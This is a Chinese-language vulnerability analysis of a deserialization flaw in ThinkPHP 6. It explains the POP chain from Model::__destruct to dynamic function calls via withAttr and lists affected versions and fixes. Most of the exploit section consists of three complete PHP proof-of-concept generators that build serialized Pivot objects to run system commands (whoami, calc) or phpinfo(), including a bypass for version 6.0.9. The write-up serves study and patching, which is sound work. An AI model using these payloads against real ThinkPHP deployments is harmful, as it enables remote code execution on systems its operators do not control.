ThinkPHP 6 反序列化漏洞
字数 1068 2025-08-05 13:25:37
ThinkPHP 6 反序列化漏洞分析与利用
漏洞概述
ThinkPHP 6 存在一个反序列化漏洞,攻击者可以通过构造特定的序列化数据,在目标系统上执行任意代码。该漏洞主要影响ThinkPHP 6.0.3及以下版本。
环境要求
- ThinkPHP 6.0
- Apache
- PHP 7.3
漏洞分析
触发条件
反序列化漏洞需要存在unserialize()作为触发点。在ThinkPHP 6中,可以通过修改入口文件app/controller/Index.php来设置反序列化触发点。
漏洞链分析
- 起始点:在
/vendor/topthink/think-orm/src/Model.php中的__destruct方法 - 关键调用链:
__destruct()→save()→setAttrs()→setAttr()- 最终通过动态函数调用执行任意代码
关键利用点
-
动态函数调用:
$method = 'set' . Str::studly($name) . 'Attr'; if (method_exists($this, $method)) { $value = $this->$method($value, array_merge($this->data, $data)); } -
命令执行点:
$closure = $this->withAttr[$fieldName]; $value = $closure($value, $this->data);通过控制
$this->withAttr可以执行任意函数。
POP链构造
必要条件
$this->lazySave == true$this->data不为空$this->withEvent == false$this->exists == true$this->force == true
利用类
由于Model类是抽象类,需要使用其子类Pivot进行实例化。
基础POC
<?php
namespace think\model\concern;
trait Attribute{
private $data=['jiang'=>'whoami'];
private $withAttr=['jiang'=>'system'];
}
trait ModelEvent{
protected $withEvent;
}
namespace think;
abstract class Model{
use model\concern\Attribute;
use model\concern\ModelEvent;
private $exists;
private $force;
private $lazySave;
protected $suffix;
function __construct($a = '')
{
$this->exists = true;
$this->force = true;
$this->lazySave = true;
$this->withEvent = false;
$this->suffix = $a;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{}
echo urlencode(serialize(new Pivot(new Pivot())));
?>
高级利用(使用SerializableClosure)
为了绕过参数限制,可以使用\Opis\Closure\SerializableClosure来序列化闭包函数:
<?php
namespace think\model\concern;
trait Attribute{
private $data;
private $withAttr;
}
trait ModelEvent{
protected $withEvent;
}
namespace think;
abstract class Model{
use model\concern\Attribute;
use model\concern\ModelEvent;
private $exists;
private $force;
private $lazySave;
protected $suffix;
function __construct($a = '')
{
$func = function(){phpinfo();};
$b=\Opis\Closure\serialize($func);
$this->exists = true;
$this->force = true;
$this->lazySave = true;
$this->withEvent = false;
$this->suffix = $a;
$this->data=['jiang'=>''];
$c=unserialize($b);
$this->withAttr=['jiang'=>$c];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{}
require 'closure/autoload.php';
echo urlencode(serialize(new Pivot(new Pivot())));
?>
6.0.9版本绕过
在ThinkPHP 6.0.9中,可以通过getJsonValue方法触发漏洞:
<?php
namespace think\model\concern;
trait Attribute{
private $data=['jiang'=>['jiang'=>'calc']];
private $withAttr=['jiang'=>['jiang'=>'system']];
protected $json=["jiang"];
protected $jsonAssoc = true;
}
trait ModelEvent{
protected $withEvent;
}
namespace think;
abstract class Model{
use model\concern\Attribute;
use model\concern\ModelEvent;
private $exists;
private $force;
private $lazySave;
protected $suffix;
function __construct($a = '')
{
$this->exists = true;
$this->force = true;
$this->lazySave = true;
$this->withEvent = false;
$this->suffix = $a;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{}
echo urlencode(serialize(new Pivot(new Pivot())));
?>
影响版本
- ThinkPHP 6.0.0 - 6.0.3(可使用SerializableClosure)
- ThinkPHP 6.0.0 - 6.0.9(可使用getJsonValue方法)
修复建议
- 升级到ThinkPHP最新版本
- 避免反序列化用户可控的数据
- 在6.0.3版本后,ThinkPHP不再使用opis/closure依赖,减少了攻击面
总结
该漏洞利用ThinkPHP的反序列化机制,通过精心构造的POP链最终实现任意代码执行。关键在于控制withAttr属性来执行动态函数,以及利用SerializableClosure绕过参数限制。理解这个漏洞需要对PHP反序列化、魔术方法和ThinkPHP框架有深入的理解。